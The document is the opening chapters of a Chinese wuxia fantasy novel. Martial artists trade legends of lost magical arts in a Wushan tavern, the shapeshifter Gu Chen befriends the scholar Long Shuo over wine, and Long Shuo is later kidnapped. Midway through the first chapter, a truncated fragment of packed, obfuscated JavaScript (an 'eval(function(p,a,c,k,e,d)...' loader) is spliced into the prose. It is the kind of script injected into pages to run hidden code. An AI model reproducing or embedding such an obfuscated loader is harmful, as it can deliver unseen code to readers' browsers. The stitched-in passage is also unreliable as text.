《人间术之风卷燕南》 1. 慕酒而来 “诛心术再现江湖?” “没错,死者是名白衣男子,全身血肉模糊,已经面目全非,看来生前遭受了非人的折磨!” “不可能!当年会稽五子联手锄奸,合力诛杀了怪翁,天下便再无人能使诛心术了——” “会稽五子?就是姬希老前辈的五位弟子?” “不错,就是以赤橙黄绿青这五种颜色而命名的赤鹰子、橙翼子、黄尘子、绿珏子、青龙子,这五位弟子!” “当年姬希老前辈写出《靡音易志集》琴谱,创出了靡音易志术法名扬天下,怪翁胡震上门讨教,却被会稽五子以此术击败了!据说这种术法非常诡异,不但能够使人致幻,还能够改变人的记忆——” 重庆巫山脚下的一家酒肆内人声鼎沸,满屋尽是杯碟碗筷的碰撞之声,大家正在讨论二十年前发生的事。 传说二十年前,姬希、齐若夷、徐若谷、怪翁四位高手均创出了天下无双的独门绝技,被世人尊称为希、齐、谷、怪四大术神,而属这怪翁最为特别。 怪翁原名胡震,素来脾气古怪,喜欢独来独往,他创出诛心术后便去找姬希比武,却被其弟子以靡音易志术法击退。 怪翁难以接受失败的事实,从此迷失了心智,开始变得嗜血成性,他一连杀了很多无辜的人,引得天下仁人志士愤恨不已,人人得而诛之。 只是,这怪翁术法高深行踪诡秘,曾经一度销声匿迹杳无音信,好在最后被会稽五子找到了并就地正法,这才消除了人们的心中之恨。 只听一人道:“想当年四大术神一齐扶危济困名扬四海,被百姓尊称为‘术海四君子’,那是何等的风光!想不到人心思变,如今怪翁已逝,姬希老前辈失踪,齐若夷老前辈归隐,而徐若谷老前辈又行踪不定,曾经的‘术海四君子’如今落得个云淡风轻,当真是此一时彼一时——” 此时,一位身穿青色长衫的年轻男子来到店外。 这男子身材瘦削、风流倜傥,两条龙须刘海被微风吹拂得轻轻飘扬! 他抬头看向那门口的牌匾,上面赫然写着“仙人酌”三个大字,他微微一笑,走进店来。 众人见这男子一副风尘仆仆的样子,显是个历经长途跋涉之后来到此地临时歇脚的路人,于是没有多加理会,继续高谈阔论。 这男子缓缓扫视满屋子的男女老少一番,暗觉这些人大概和他一样,都是奔着这远近闻名的“仙人酌”美酒而来的,于是会心一笑,在东北角的一个空位上坐了下来。 店小二听到众人的谈论,心知今日到店的客人与平日里大不相同,其中几位的装束打扮更是从所未见,显然便是人们口中常说的“咒术师”。 据说这些人只要稍微动动手指便可取人性命,店小二心中十分明白,万一伺候不好,他自己怕是见不到明天的太阳。 他见那青衣男子落座之后便赶忙热情招待,上齐酒菜之后,便又老老实实地躲到账台后面敲起算盘来。 账台前摆放的那几个硕大的酒坛子几乎把他的身子全部掩盖了。 那青衣男子微微一笑,一口菜也没有吃便咕咚咕咚地喝起酒来。 “又说不定——” 只听西首一男子道:“这怪翁可能早有传人,否则这臭名昭著的诛心术法又怎么会重现江湖呢?” 东首一男子道:“传闻当时怪翁还有个七岁的义子,叫什么来着...” “他叫狄影!”,一个中年妇女道:“不过在那场大劫杀中,被稽老前辈的其中一位弟子杀死了!” “噢?”,西首那人怀疑道:“如果那个孩子没有死呢?那这怪翁岂不是后继有人了?” “那绝无可能!” 说话的是坐在北首桌上的一个老头。 这老头作农民打扮,黄色的草帽下尽是满头的白发,但是他的两条腿却在长凳下轻轻摇荡。 西首那人问道:“老伯,你为何如此确定?” 那老头道:“是我朋友亲眼所见,那个孩子是被稽老前辈的大弟子赤鹰子一击毙命的——” “我说这位老伯——”,东南角一个少年笑道:“靡音易志术法旨在乱人心魄,在场之人无不迷失心智,若是你朋友当时也在场,你又怎能确定他所见到的不是幻象?” 这少年身穿白色锦衣,大概十五六岁的年纪,他一条腿戳在凳子上,嬉皮笑脸,举止放荡。 他旁边还坐着两个跟他差不多年纪的孩子,一男一女,女孩一袭紫衣,身材瘦削,男孩身穿黑衣,俊秀斯文。 众人好奇地看向那个说话的少年,都觉得他虽然年少轻狂,但似乎说得也有道理。 “铭文,找人要紧,不要惹事!” 紫衣女孩眉头微皱,显现出大姐姐的一派威严。 “姐姐,那老头竟然在咱们‘西岭三恶少’的面前胡吹大话!我只是有点看不惯而已——” 众人听到“西岭三恶少”的名字,不禁一阵唏嘘。 据说这“西岭三恶少”擅使闪身术,是巴蜀一带出了名的坏孩子,他们专以撕人衣衫为乐,谁若被他们盯上了,不管他的衣服是贵是贱,必会被撕得千疮百孔,叫人想打补丁都无从下手。 堂中之人都不自觉地捂紧衣衫,生怕自己的衣服被他们撕烂。 那个叫做铭文的少年忽然间抢到那老头面前,速度快如闪电。 只听他哈哈大笑两声,伸手便朝那个老头的脸上抓去。 那紫衣女孩大叫道:“袁起,拦住他——” 闻声,她身旁那名黑衣少年闪身拦在了铭文和那白发老头之间。 那白发老头后退数步,心中暗想:“这两个少年身法迅捷武功不弱,我自己打他们不过,得个想办法抽身才是——” 他见那个叫铭文的少年再次闪身到自己面前伸手朝自己面部抓来,连忙喊道:“我自己来,我自己来——” 他说着把草帽和白发一齐摘下,撕掉长长的胡须,又端起一碗酒水在脸上搓洗,不一会儿功夫便露出来一副年轻的面容。 原来这白发老头竟是一个二十上下的年轻男子。 铭文和袁起一齐退回到那紫衣女孩身边,整理好衣襟便从容坐下。 铭文笑道:“这位大哥,你的额头脸颊皱纹密布,眼角却光滑平顺,你的易容术破绽百出,不会使就不要出来丢人啦!” “嘿嘿,我承认,我的易容术功夫粗浅得紧,回头把我红叶妹子叫来,让你们见识见识什么叫作乱真易容之术——”,那男子道。 铭文两眼放光,问道:“你是说齐若夷老前辈所创的乱真易容术?”,他还想细问,但是看到姐姐“不可多事”的神色,话到嘴边又收了回去。 “不错,齐老前辈的乱真易容术出神入化,一旦施展便可以假乱真,人神难辨!哎,只可惜,她老人家收了那么多徒弟,却立下规矩只传女不传男,不然也不会只让我小妹子捡了这个便宜啦!” “你这小孩儿尽会胡吹大话,刚才说你朋友亲眼看到怪翁被杀,现在又说齐若夷老前辈是你妹子的师父,莫非希齐谷怪四大术神都是你家亲戚啦?”,西首一男子不屑地道。 “你错了!齐若夷不是我妹子的师父,他是我娘的师父,是我的太师父!至于怪翁被杀的画面我朋友的确亲眼所见,你们不信的话,我可以叫我朋友出来亲自给你们说——” 那男子说着四处走动起来,他一会儿戳戳东边几个人的桌子,一会儿踢踢西边几个人的凳子,一会儿敲敲南边桌子上的碗筷,一会儿又碰碰北边墙角处的酒坛,仿佛是在寻找一只正在躲猫猫的小动物。 “古兄,出来吧,快出来呀?” 那男子在这十米见方的客店里来来回回找了两圈,却什么也没有找到。 一中年男子讥讽道:“怎么你还在锅碗瓢盆中寻找,难不成你朋友是阿猫阿狗吗?”,他说着与同桌的几人一齐哈哈大笑起来。 “呃,这个——他可能是,也可能不是,哎,我也不知道——”,那男子大叫道:“喂,古兄,你到底在哪呢?快出来啊!再不出来,我可要砸店啦!” 眼见那男子摆出奇怪的架势,仿佛要施展什么高深的法术,一直蜷缩在账台后面的店小二顿感大事不妙,他忙站起身来道:“请公子爷照顾小的生意,千万别砸店,千万别砸店啊!” 店小二紧紧护住身前的那个大酒坛子,他只怪自己手臂不够长,不然真想把账台上的五个大酒坛子全都抱住,那里面装得可是他们仙人酌酒肆的镇店之宝,镇子上出了名的陈酿美酒——仙人酌。 众人见那男子大话连连,只当是小孩子顽皮胡闹,于是不再多加理会,开始相互敬起酒来。 正在此时,忽听“砰”的一声巨响,众人都吓了一跳,立时抽出佩剑寻找声音的来源,却见店小二的手臂仍然是环抱酒坛的姿势,而刚才还在他怀中的那个大酒坛子却不见了。 “南宫啬,我在这里!” 小店正中央突然出现一名手持折扇的偏偏公子,看起来有二十七八岁的年纪,他的身材壮硕身子颀长,如同画中走出来的人一般丰神俊朗。 那个叫作南宫啬的男子埋怨道:“原来你在这里,害我找了半天!” “变身术——” 一人惊叫道:“是松杨老先生的护体三身术之一的变身术!” 众人一阵惊讶,皆想这男子既然会使变身术法,那么二十年之前,他变身为花草山石什么的躲在暗处,看到了当年会稽五子诛杀怪翁的画面也不无可能。 一名中年男子钦佩地道:“没想到你年纪轻轻,变身术法竟使得如此出神入化!” “前辈过奖,小小障眼法,不足挂齿!” 那男子收起折扇行礼示意,而后转身朝那紫衣小姑娘走去,轻声道:“这位姑娘,在下古辰,可否请教芳名?” 小姑娘尚未答话,袁起和铭文便站起身来挡在了她的前面。 铭文喝道:“我姐姐的芳名,岂是随便什么人能知道的?” 古辰嘴角微勾,说道:“就凭你俩,怕是拦不住我的——” 铭文大怒,闪身到古辰面前道:“大言不惭,让我来看看你到底有什么本事——”,他说着拔剑朝古辰刺去。 古辰嘴角轻扬,朗声说道:“店内狭小,施展不开,随我来!” 他纵身一跃,飞到了店外。 铭文催动闪身术紧随其后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只听"砰"的一声巨响,古辰瞬间消失不见了。 而在袁铭二人的身后,突然出现了一只雪白的小兔子。 那小兔子前脚抬起,仅用后腿站立,它胖胖的身子忽而左摇忽而右摆,似是在朝袁铭二人“搔首弄姿”,而后又忽然转身朝不远处的树林里跑去。 “哈哈,毒虫猛兽你不变,却来变一只兔子来装可怜,你死定了!”,铭文闪身追了上去。 袁起担心铭文一个人会有危险,于是也跟了上去。 小姑娘大声喊道:“别追了!”,然而他二人很快便不见了踪影。 众人眼见没有热闹可瞧,纷纷进店继续喝酒聊天。 小姑娘呆呆地站在原地,心中十分焦急,正思忖着到底是追还是不追,却听背后一个清脆的男子声音突然说道:“姑娘,你就等在这里,我认为他们不久就会回来的!” 小姑娘一回头,眼神撞上了一副英俊的面庞,他的龙须刘海被微风吹拂得轻轻摇曳,一双深邃的眸子在后面时隐时现,正是那位手拎酒坛看热闹的青衣男子,于是问道:“你是说,他们都会回来?” 那男子微微一笑,走到西北角那张茶桌旁边坐了下来道:“是的,很快!这是调虎离山之计,不出意外的话,这位古兄弟应该马上就会回来,你的两个弟弟找不到人自然也就回来啦!”,他说着举起酒坛,咕咚咕咚大口喝起酒来。 小姑娘恍然大悟,这才放下心来。她走到茶桌旁,与这位英俊公子隔了一个座位坐下来道:“请问这位公子尊姓大名?” “尊姓不敢当,在下姓龙名烁,字天何!” “原来是龙大哥,但愿古辰公子不要伤害我那两个弟弟,他们只是贪玩了些,实际并无恶意!”,小姑娘见那公子就要把一坛子酒喝完了,好心劝道:“巫山仙人酌虽入口醇香甘甜,但后劲很大,不宜多喝的!” 龙烁哈哈一笑,说道:“多谢姑娘提醒,在下是燕赵人士,千里迢迢来到巫山,正是为了这传奇佳酿,若不能一醉方休,真真是辜负了我为之奔波千里啦——呵呵——只可惜——” “可惜什么?” 小姑娘正要询问,忽听“砰”的一声巨响,古辰竟突然出现在她和龙烁之间,而原来在这里的那把凳子却已经消失不见。 “妙啊,古兄弟,原来你根本没有离开,这招竟大出我的意料之外!” “这位仁兄,若非如此,我怎么能甩掉那两只烦人的跟屁虫呢?” 古辰和龙烁二人一齐哈哈大笑起来。 小姑娘一股怒意涌上心头,喝道:“你太过分了!”,她说着闪身到古辰跟前,一把将他胸口的衣襟扯烂,露出了一大片胸膛。 小姑娘见他胸肌饱满,坚实有力,微微一怔,脸上泛起一丝红晕,害羞地转过了身去。 古辰的衣服被她撕破却不在意,他微微一笑,将衣服收紧护住露出的肌肤,说道:“姑娘莫急——我告诉你他们在哪!” “真的?”,小姑娘怒气渐消,回过头来问道:“他们在哪?” “姑娘还不愿意告诉我你的名字吗?”,古辰走到她面前,俯身直勾勾的看着她。 “我——”,小姑娘犹豫片刻,轻声说道:“我叫,简秋!” 2. 把酒论述 古辰微微一笑,柔声说道:“很好听的名字!所以,你是姓简吗?” 简秋微微摇了摇头道:“我姓徐!” “噢!原来如此!”,古辰依然直勾勾地盯着她看。 简秋见他毫不避讳地盯着自己,认为这人十分轻佻,皱眉道:“我弟弟他们?” “啊,他们在山上的仙人亭中等候姑娘!” 闻声,徐简秋头也不回地转身而去。 古辰望着她消失的背影若有所思,未及转身,便听到身后一个清脆爽朗的声音说道:“看来古兄对这位简秋姑娘情有独钟啊!不如我陪你喝两杯解解闷如何?” 一个酒坛子突然从古辰身子左侧冒了出来。 古辰转过身来,见是那位叫作龙烁的年轻公子递过来的酒坛,于是嘴角微微一扬,说道:“龙兄见笑,在下并无他意,只是这小姑娘让我感觉似曾相识,他很像我梦中母亲的模样!”,他说着接过酒坛咕咚咕咚喝了起来。 “原来如此!”,眼看古辰喝完了半坛子酒竟是脸不红心不跳,龙烁来了兴致,赞道:“好酒量!古兄不但武功术法卓绝,酒量也是极好!” “过奖,龙兄也不一般,刚刚我略施变身术引那两人离开,你竟然猜出了我使的是调虎离山之计!” “哈哈,不过你变成凳子而非兔子,却是大大出乎我的意料啦!” 古辰审视龙烁一番,说道:“‘北龙南宫,锥风蛊虫’,你姓龙,莫非你是龙氏锥风术的传人?” “传人不敢当!”,龙烁拱手道:“不过我家祖上确实创出了锥风术法,但是我从小资质平庸不喜练武,这家传的锥风术法,我却是未能练成的!” “噢!”,古辰点头道:“你既是龙氏后人,那自是北方人了,又为何会来到此地?” “啊!鄙人虽然学武不行,但是平生有三大爱好,一是酷爱读书,二是嗜酒如命,三是喜好交友。我听说巫山‘仙人酌’十分有名,为一饱口福特地不远千里而来!刚才正自叹息此地有美酒,有美景,却无好友同赏共饮,不免有些遗憾!如今能与古兄相识,咱二人若能一起喝酒赏景,那真的是再好不过啦!” “哈哈,不知龙兄今年贵庚!” “啊,我上个月刚满二十!” 古辰略感惊讶道:“原来你比我小八岁,我今年二十右八!” “啊,那我要叫你古大哥啦!” “不必,你还是叫我古兄更为亲切!你既比我小,我叫你天何兄便是!” “好” “天何兄刚才说有美酒,有美景。这酒的确是美酒,只是这里的景色嘛——”,古辰摇头道:“却没什么特别!不如你随我来,我带你去赏真正的美景!” “啊”,龙烁兴奋道:“那太好啦!” 古辰微微一笑,往店内走去,他跟南宫啬低声说了几句话,而后管店小二要了两坛子美酒,又用油纸包了牛肉和小菜,随即走出店来带着龙烁往山上走去。 此时正值初秋,天高气爽,风清云淡。 临近傍晚时分,夕阳映射下的彩霞艳丽绝伦,沿山而上的小道旁山石林立,溪水潺潺。 龙烁游目四顾,见周围一派空灵寂静,四处并无人家,顿觉脑中杂念尽除,心中畅然愉悦。 二人走了一个多时辰,天色已暗。 龙烁渐感体力不支,呼吸有些急促,问道:“古兄,还有多远啊?咱们歇会儿再走?” “天何兄,我看你下盘不稳,是否受了什么伤?” “没有没有,实不相瞒,在下武功术法低微至极!”,龙烁嘿嘿一笑,说道:“我的体力自然不能与古兄相比了——” “啊,原来如此!”,古辰奇道:“龙氏锥风术是你家传绝技,能够化风成剑抵御强敌,你为什么没有学呢?” “惭愧!这锥风术法确是我家传的绝技,但是我百炼不得其法,至今都还没有入门,功夫粗浅得紧!嘿嘿,大概也是因为我从小对武功术法不感兴趣,十分厌恶打打杀杀的缘故!” “啊,原来如此!” 古辰将牛肉和小菜揣进怀中,解下腰带将酒坛子捆起来挂在脖子上,又将龙烁负在背上,脚下一蹬,凌空而起,说道:“这样的话我们很快就到啦!” 龙烁自记事以来第一次被人这样负在背上,十分不好意思道:“这样不成,你还是放我下来自己走吧!” “天何兄,你我一见如故,不必客气,再有一炷香的时间咱们就到啦!” 果然,过不多时,二人来到一座小亭子。 这小亭子朱漆青瓦,内有石桌石凳,虽然空间不大,却十分典雅别致。 此时天上明月如钩,月华似水,照得小亭朦胧如醉。 旁边是一个深不见底的山谷,谷内重峦叠嶂,云雾缭绕,如梦似幻,宛如仙境。 “怎么样?这里的风景确实不错吧?”,古辰放下龙烁,在亭中石桌上摆好酒菜道:“之前经常是我自己独自前来,今天有天何兄作陪,真的是再好不过!” “不错不错!”,龙烁惊讶道:“曾经沧海难为水,除却巫山不是云!难怪诗人元稹会有此一叹,原来世上竟真的有如此人间仙境!” 龙烁抬头看了看亭上的牌匾,上面写的是“仙人亭”三个大字,暗想原来这便是古兄刚才所说的仙人亭,也不知简秋姑娘他们是否已经团聚。 古辰递给龙烁一坛子酒道:“明早太阳升起之时,那景色更是惊艳绝伦,巫山三仙,尽皆在此了!” “巫山三仙?”,龙烁问道:“怎么讲?” “天何兄千里来此,难道不是为了巫山三仙?” “我只听说过此地有名酒‘仙人酌’,可没听说过什么巫山三仙!” “天何兄有所不知,仙人酌只是巫山三仙的其中一仙,与巫山中的仙人谷、仙人亭并称巫山三仙——”,古辰指着仙人亭外的山谷说道:“这里就是仙人谷了,相传二十年前,有人曾看到有三位神仙在这云海中抚琴弄剑,于是修建了这座亭子以便观赏仙人英姿,因此取名为‘仙人亭’,而巫山的酒便命名为仙人酌,巫山三仙由此而来,目的是纪念这三位神仙在此显灵,祈求他们保佑此地百姓平安喜乐!” “啊,原来这美景美酒,还有这么一段传奇佳话——” 龙烁端起酒坛给古辰倒了一碗酒说道:“可惜这世上哪里会真有神仙呢,八成是百姓为了宣扬这里的美酒美景,故意捏造出来的罢!当年世人为了宣扬汉高祖刘邦乃是真命天子,竟然编纂出他母亲在湖边休息时,被一条蛟龙盘旋于身上,于是就有了身孕,产下了汉高祖刘邦这样的奇闻异事,你说是不是有些荒唐?” “嗯——”,古辰道:“既是传说,难免会有一些夸张成分!就好像这天下的术法在外人看来都是神秘莫测的,而实际上那不过是人们掌握了一些练功的法门,再加上天资和勤奋而修炼成的一项特殊的本领罢了!” “是!”,龙烁点头道:“正所谓术业有专攻,古兄的变身术能使得如此出神入化,也一定是下了很大的功夫!” 古辰感叹道:“实不相瞒,这变身术乃是我的启蒙恩师松杨先生所传,我在年少落魄时遇到他老人家,实是万幸!” “松杨先生?” “就是创出‘护体三身术’的那位高人!” 见龙烁仍是不明白,古辰解释道:“护体三身术是指变身术、隐身术、分身术这三种法术属于防守一路的法术,都是由我恩师所创,旨在济世救人,因此被世人尊称为‘护体三身术’!” “哦哦!”,龙烁终于明白过来,他嘿嘿一笑,说道:“变身、隐身、分身——依我看呐,也就是你这变身术法最为精妙,想变什么就变什么,别人又怎能瞧得出来?” “各有千秋吧!不过这术法虽妙,学精却难!如今我虽然不是想变什么就变什么,不过一些简单的锅碗瓢盆以及我刚变的酒坛子倒是难不倒我!” 龙烁赞道:“已经很厉害啦,我以前都没有听说过这些法术——” 古辰继续道:“当今时代,术法盛行,前有‘稀奇古怪’四大术神,后有松杨先生的‘护体三身’,北有锥风、南有蛊灵、东有御火、西有寒冰,神奇术法层出不穷,攻守两路难分伯仲,当真是能人辈出,各领风骚!” “蛊灵术,那又是什么神奇的法术?” “蛊灵之术并不是什么神奇的法术,它的独到之处不过是能学会并掌握某种动物的语言,刚刚那只小白兔就是我召唤过来将那两个孩子引开的,我修的是兔语!” 古辰喝一口酒,继续说道:“蛊灵之术也可以叫作语灵之术,大部分生物没有我们人类聪明,它们更容易被人类蛊惑,所以又称之为蛊灵之术!此种法术非攻非守,与其他术法相比,并没有什么过人之处,天何兄你没听过倒也正常!” 龙烁赞叹道:“古兄见多识广,实在令人钦佩,而我自小好文不好武,对这些武功术法却是没你懂得多了!” “欸,天何兄来自冀州龙氏一族的术法世家又何必过谦?你家祖传的锥风术便是一门极为高深的法术,自西晋时代便已被创出,我刚才所说的这些法术,那都在你们龙氏追风术之后出现的,说起来,也属于你们龙氏锥风术的后代晚辈了!” 龙烁连连摆手愧不敢当,古辰微笑道:“天何兄自幼耽于读书写字,对这些武功术法不甚熟悉倒也是在情理之中,但那‘稀奇古怪’四大术神二十年前便已名扬四海,先后创出独门绝学——姬希老前辈的靡音易志术、齐若夷老前辈的乱真易容术、徐若谷前辈的妙笔神画术、怪翁胡震的诛心术,都曾闻名天下轰动一时——这些想必天何兄应该有所耳闻吧?” “嗯是的,我听父亲说过——”,龙烁道:“‘稀奇古怪’四位前辈都是当年的风云人物,他们的传说家喻户晓!” “嗯”,古辰端详龙烁半晌,说道:“天何兄,我十分欣赏聪明之人,我想听听你对这四位高人知道多少,又如何评价?” “这个——”,龙烁思忖道:“这四位高人曾被世人尊称为术海四君子,我武功术法实在不行,又怎么好妄自评价他们呢?” “权当咱们说话解闷了!”,古辰劝说道:“莫非天何兄仍没拿我当朋友?” “古兄这是哪里话!我一个人孤身来到此地,人生地不熟,语言交流也不甚通畅,能遇到你这个好兄弟陪我一起赏美景品美酒谈论武功术法,实在是荣幸之至!” 龙烁思索片刻,端起一碗酒来一饮而尽,说道:“好,那今日我就斗胆效法古人跟古兄你谈古论今一番!今天咱们不醉不归!” 古辰回敬一碗酒道:“正是此意!” “我对这四位前辈了解也不是太多!据说姬希和齐若夷两位前辈志同道合,一齐携手归隐会稽山,外界相传《靡音易志集》琴谱为姬希老前辈所创,这琴谱内的音律能迷失人的心智,使人产生幻觉。对于这套琴谱是正是邪是善是恶、到底该不该留存于世的问题,二人观点不一争论不休,以至于后来意见不合分道扬镳了!” “不错,那么你认为这套琴谱是正是邪是善是恶?该不该留存于世?”,古辰问道。 “该不该留存于世,这个我不好评说!至于是正是邪是善是恶,我认为这要看使用之人的意图了,如果是用来为非作歹残害无辜的,那么它就是邪术,若是被用来济世救民普度众生,那么可称它为善术!要我说术法无善恶,善恶在人耳!” “英雄所见略同!” 古辰十分高兴,端起酒杯又敬了龙烁一碗,二人一饮而尽。 古辰继续道:“徐若谷老前辈向来独来独往、行踪飘忽不定,咱们尚且不讨论,你对这怪翁胡震怎么看?” “今日我听那些江湖人士讨论,似乎这怪翁本是正人君子,创出诛心术后曾去会稽山找姬希比武,却被其创出的靡音易志术打败,后来也因此迷失心智、性情大变,以至残害百姓、滥杀无辜。虽然我不知道他为什么会变成这样,但他倒行逆施,确实是不对!”,龙烁道:“今日我听那南宫公子说,姬希老前辈的五位弟子诛杀怪翁的时候,你也在场,是真的吗?还有那南宫公子,他的姓氏——莫非他是?” “不错,南宫啬是南宫盈的长子,南宫盈是我师父,蛊灵之术正是由他所创!”,古辰端起一碗酒又是一饮而尽,说道:“当年怪翁肆意杀戮,引得天下英雄愤恨不已,人人得而诛之,后来被会稽五子找到并成功诛杀。会稽五子诛杀怪翁之时,我确是在场的,那时我才七岁,我以变身术化作怪石藏身,会稽五子前来讨伐怪翁,他们合奏《靡音易志集》琴谱诛杀了怪翁,然后想着斩草除根,又杀了他的义子,一个比我大不了多少的孩子——” “哦哦!”,龙烁感叹道:“会稽五子行侠仗义讨伐恶贼,本是善举,但是他们连一个孩子也不放过,实在是大不应该!” 古辰继续回忆道:“我当时就在附近玩耍,以障眼法 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“人之初,性本善——”,龙烁反驳道:“如果把这个孩子好好抚养长大,教他为人处世之道,使他能够明辨是非,让他去做一个惩恶扬善、匡扶正义的英雄侠士,岂不是更好?” 古辰摇头道:“正所谓父母之仇不共戴天!我觉得倘若放过那孩子,他一定会想尽一切办法替父报仇的,不是吗?如果是你,你也会这么做——” 龙烁听他拿自己的父亲打比方十分不吉利,不禁皱起眉头,一丝怒气涌上心头,说道:“你怎能将我父亲与这个大恶人相提并论?我的父亲一生光明磊落,不会做出那些冒天下之大不韪的恶事而惹得众人追杀!” “天何兄息怒,你误会我的意思了!”,古辰解释道:“我是说人非圣贤,孰能无过,有意也好,无意也罢,人总不可能一直不会犯错。我相信你一定也做过一些后悔之事,不是吗?” 龙烁心中暗想,我大大小小后悔的事确实做过不少,比如父亲悉心教导我学习锥风术,我却一直难有建树,又比如我自小好酒如命,曾禀明父亲自己有南来寻找美酒仙人酌的打算,却被父亲禁足于家中,而我却买通仆人偷偷地跑了出来,回去之后也不知父亲会不会生气! 他想到这里,说道:“倘若我是那孩子,即便是父亲做错了事,做儿子的没能竭力规劝也是有责任的,为了弥补过失,往后更应当惩恶扬善、匡扶正义了!如果因为报仇而连累更多无辜的人,那岂不是错上加错!” 古辰会心一笑,点了点头道:“说得好!天何兄,有你这些话,我更加认定你这个朋友了——” 他提起两坛子酒相互一撞,声音清脆响亮,将一坛子酒递到龙烁手中,自己大口大口地喝起了另外一坛,一些酒水从他嘴边溢出,浸湿了他胸前的一小片衣衫。 龙烁见他豪气云天,竟直接将酒坛子喝了个空,心中十分佩服,但却不服输,于是也将一坛子酒喝了个一滴不剩。 看着龙烁依然清醒如初,古辰笑道:“天何兄好酒量啊!我有一个疑问,你不学武功术法,那么遇到恶人时,你打算怎么惩恶扬善、匡扶正义呢?” “兵来将挡水来土掩!”,龙烁豪气万分地说道:“再不济,就用兵法三十六计中那最厉害的一招!” “噢?三十六计中哪一个是最厉害的?”,古辰回想着这三十六个计策,掰着指头问道:“釜底抽薪?声东击西?擒贼擒王?以逸待劳?” 龙烁摇头道:“就是这最后一计,走为上计啊!” 闻声,古辰哈哈大笑起来。龙烁也跟着笑了起来。 此时已至深夜,二人的笑声在山谷中回荡。 突然间,古辰听到远处山道上有细碎的脚步声,而且人数众多,他立即收住了笑声,并示意龙烁不要出声。 还没等龙烁反应过来是怎么回事,他已被古辰拽起一并跃到了山道另一侧的一颗参天大树上,并用枝叶遮挡住了二人的身体。 山风凛冽,龙烁顿时清醒了许多。 片刻之后,山道的拐角处便出现了二十来个手持大刀头戴红巾的黑衣蒙面人,他们几乎与夜色融为一体,若不是今夜月光格外明亮,几乎很难看得清楚。 龙烁稍稍凑近古辰,在他耳边小声说道:“古兄,原来你的轻功这么厉害啊!不过倘若你把咱俩变成石桌石凳的,不就不用躲起来啦?也让我感受一下变身的感觉啊!” “哈哈,我的法力还达不到那个境界,仅可以给自己变身!” “哦哦,这些人是谁?是你的仇家吗?” “啊?”,古辰疑惑道:“我以为他们是冲着你来的——不是吗?” 龙烁一惊,疑惑道:“我又没招谁惹谁,找我做什么!” “这我可就不知道了,总之不是来找我的——” 此刻,这二三十人已进入仙人亭,为首的那个黑衣人查看了石桌上的酒菜还剩余不少,猜到吃饭之人定是刚走不久,他四下里张望不见人影,又走到亭栏处向山谷里张望,亦是并无人迹,于是在石凳上坐下,与另外两个人小声交谈起来。 “你先在这里等我,我替你把他们引开!”古辰小声说道:“我半个时辰内回来,到时咱们一起欣赏日出时候的云海!” “多谢古兄!”,龙烁虽然到现在也不认为这些人是冲着自己来的,但是古辰兄愿意挺身而出去将他们引开,却是感激之至,于是关心地问道:“你喝了这么多酒能行吗?” “呵!”,古辰嘴角微挑,撕下了自己身上的一块衣襟蒙在脸上道:“我是越喝越有力气!” 话音未落,古辰已经跃到了地面上,所有人都没发现他是从哪冒出来的。 只听他装作很害怕的样子喊道:“你们是谁,来这里做什么?”,而后竟三步一倒地,两步一踉跄地往山下跑去。 众人先是一愣,随即追了上去。 龙烁暗自笑道:“古辰兄随机应变能屈能伸,这才是真正的男子汉大丈夫!” 片刻之后,万籁俱寂。 黑暗之中,龙烁顺着树干慢慢爬下来回到仙人亭中,发现所有碟碗已被那些黑衣人打烂,酒肉小菜更是洒了一地,龙烁顿感十分愤懑,在亭中来回踱步,苦苦思索是谁派来的这些人,却久久不得其解。 正当他要坐到石凳上等古辰回来时,突感脑后一痛,似是被什么钝物猛击了一下,他未及转身,眼前一黑,便昏睡了过去。 3. 林中巧遇 朦胧中,龙烁感到有些颠簸,随即便听到得得的马蹄声。 他睁开眼睛一瞧,发现自己手脚被绑,被人负在马背上往西南方向疾驰。 驾马之人是一个身穿红袍的年轻男子,他衣服的胸口处画着一只尖喙大鸟。旁边还有一人与他并驾齐驱,衣着装束一模一样。 龙烁心中暗想:“现在的年轻人都打扮得这么妖艳吗?他们是谁?要带我去哪?”,他抬头看了看太阳的方位,现在已是正午,突然想起昨夜发生的事来,又想:“古兄还说他半个时辰内回来带我看日出云海,他回来后找我不见,会不会很着急?我与这两个打扮奇奇怪怪的人素不相识,我武功法术低微,身上也没带什么值钱的东西,他们抓我南来到底有什么目的?莫非是人贩子之类的,要抓自己去做奴隶吗!”,想到这里,他心下骇然,不知此次南下究竟是吉是凶! 颠簸之中,他想起小时候父亲所教的占卜之术可以推测吉凶,但若想占卜灵验需用蓍草或龟甲,现下被人附在马背之上,情况危急,哪里能找来那些物什呢!他又想到少时曾在父亲的友人家中读过《周易》,略知八卦推演之法,又别出心裁,从头上拽下来几根头发来起卦,以长短做阴阳,以单偶来画爻,求得了一支卦象。他定睛一看,是乾卦九三,卦辞曰:“君子终日乾乾,夕惕若,厉,无咎。” 此卦乃是吉卦,是说君子每日自强不息,需时时刻刻保持警惕,虽历经艰难险阻,终可逢凶化吉。 龙烁心中一喜,暗想:“我此次孤身南下,须当时刻小心才是,虽然途中多有坎坷,但最终都会逢凶化吉,只要万事多加小心就是了!”,想到这里,他心中也就没那么害怕了。 龙烁看看周围环境,现在已经进入了一片深山老林,林中树木高大粗壮,繁茂的枝叶遮天蔽日,阳光透过树叶的缝隙直泻而下,照在了从泥土中蜿蜒而出的树根上。 这些树根长短不一粗细都有,粗的如同巨蟒,细的好似草蛇,它们盘根错节相互纠缠,如同谜团一样让人看不透到底是安全还是危险。 林中的老树花草肆无忌惮地生长,却难以置信地给他们让出了一条干净的林中小道,小道两旁仅有些许杂草,这三人两马在林中小道上疾驰,时不时地惊起一片飞鸟四散天际。 忽然之间,龙烁瞥见一个浑身带血的男性尸体躺在路边,他破烂的衣服被马蹄扬起的灰尘弄得脏兮兮的,他身上的血渍颜色暗红,显是已经死了很久。 龙烁暗觉此人不知是被林中的什么野兽折磨的这么惨,这里偏僻幽暗,半天不见人影,连替他收尸的人也没有,心下暗自叹息,祈祷他来世能够不再受此劫难! “是张翼轸他们的人干的好事吧?”,龙烁身前的这名红衣男子问道。 “或许是!”,另一个红衣人答道:“不至于弄死啊!” “主人又没有禁止,不管了,柳星主,咱们赶紧赶路吧,不然星君饶不了咱们!” 